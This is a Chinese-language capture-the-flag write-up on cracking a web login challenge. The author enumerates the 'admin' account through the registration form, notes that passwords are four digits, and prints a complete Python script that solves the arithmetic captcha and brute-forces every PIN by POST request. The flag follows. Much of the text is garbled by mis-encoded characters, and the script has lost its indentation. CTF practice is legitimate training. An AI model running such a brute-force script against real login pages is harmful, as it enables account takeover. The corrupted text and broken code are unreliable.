題目鏈接:
http://ctf.hit.edu.cn:3005/
分析:
1.打開(kāi)題目提供頁(yè)面
2.發(fā)現(xiàn)需要用戶名和密碼以及驗(yàn)證碼,并且給了一個(gè)注冊(cè)的鏈接
3.查看原代碼,并沒(méi)有發(fā)現(xiàn)異常
4.嘗試隨便輸入用戶名和密碼,計(jì)算并輸入驗(yàn)證碼,點(diǎn)擊登錄
5.發(fā)現(xiàn)不能登陸,而且驗(yàn)證碼會(huì)每次都會(huì)改變
6.想到注冊(cè)一個(gè)用戶來(lái)進(jìn)行登陸
7.隨便輸入
i.賬號(hào):aaa
ii.密碼:aaa
8.提示為:”密碼太長(zhǎng)太難我們怕你記不住孕似,只需4位數(shù)字”,如下圖:
9.密碼只能是4位數(shù)...這是不是給了我們暴力破解的余地呢?
10.上次講座中,張琦學(xué)長(zhǎng)講到可以利用注冊(cè)來(lái)獲取已經(jīng)注冊(cè)的用戶名
11.嘗試使用默認(rèn)密碼”admin”進(jìn)行注冊(cè),發(fā)現(xiàn)提示為:”不要重復(fù)注冊(cè)<吲唷!!殉疼!”如下圖:
12.思路有了,現(xiàn)在只需要獲取并計(jì)算驗(yàn)證碼,然后對(duì)http://ctf.hit.edu.cn:3005發(fā)送post請(qǐng)求,其中用戶名為”admin”密碼使用從0000-9999這一萬(wàn)種組合即可
13.通過(guò)瀏覽器的”檢查”功能獲得請(qǐng)求數(shù)據(jù)數(shù)據(jù)格式,如下圖:
14.現(xiàn)在問(wèn)題在于如何獲得驗(yàn)證碼
15.在登陸頁(yè)面中,多次刷新頁(yè)面,以用于找出驗(yàn)證碼的規(guī)律,發(fā)現(xiàn)驗(yàn)證碼為一個(gè)算式,并且大部分情況下兩個(gè)運(yùn)算符都是二位數(shù),而且運(yùn)算符多為’+’和’*’
16.想到使用python腳本進(jìn)行暴力破解
17.直接貼上python腳本
import requests
import urllib
import urllib2
import string
url = "http://ctf.hit.edu.cn:3005"
fileHandle=open ('result.txt','a')
#遍歷所有密碼
for i in range(0,9999):
req = requests.session()
file = req.get(url)
html = file.content
ss = html[805:810]
ss = ss.strip()
#判斷運(yùn)算為加法
if "+" in ss:
s1 = ss.split("+")[0]
s2 = ss.split("+")[1]
n1 = string.atoi(s1,10)
n2 = string.atoi(s2,10)
result = n1 + n2
#判斷運(yùn)算為乘法
if "*" in ss:
s1 = ss.split("*")[0]
s2 = ss.split("*")[1]
n1 = string.atoi(s1,10)
n2 = string.atoi(s2,10)
result = n1 * n2
password = "%d" %i
#小于四位數(shù),前面補(bǔ)0
if i < 1000 and i > 99 :
password = "0" + password
if i < 100 and i > 9 :
password = "00" + password
if i < 10 :
password = "000" + password
#數(shù)據(jù)對(duì)象
data = {}
data['username'] = "admin"
data['password'] = password
data['captcha'] = result
data['PHPSESSID'] = "c24pd2aei5854r3b9n7qb4lpu5"
#發(fā)送post請(qǐng)求
file2 = req.post(url,data)
#輸出日志
print i
print " --- "
print "The password is = " + password + ", The result is " + file2.content[-45:]
#寫日志文件
fileHandle.write("The password is = " + password)
fileHandle.write(", The result is " + file2.content[-45:])
fileHandle.close
18.運(yùn)行,直接從本地保存的文件(獲取的結(jié)果html頁(yè)面的內(nèi)容)中,然后進(jìn)行對(duì)其進(jìn)行字符串查詢得到flag.
答案:
hitctf{I_Wi1l_iMpr0_M4_pw}
知識(shí)點(diǎn):
1.HTML基本語(yǔ)法
2.POST請(qǐng)求
3.利用瀏覽器進(jìn)行抓包
4.Python基本語(yǔ)法
5.Python模擬Post請(qǐng)求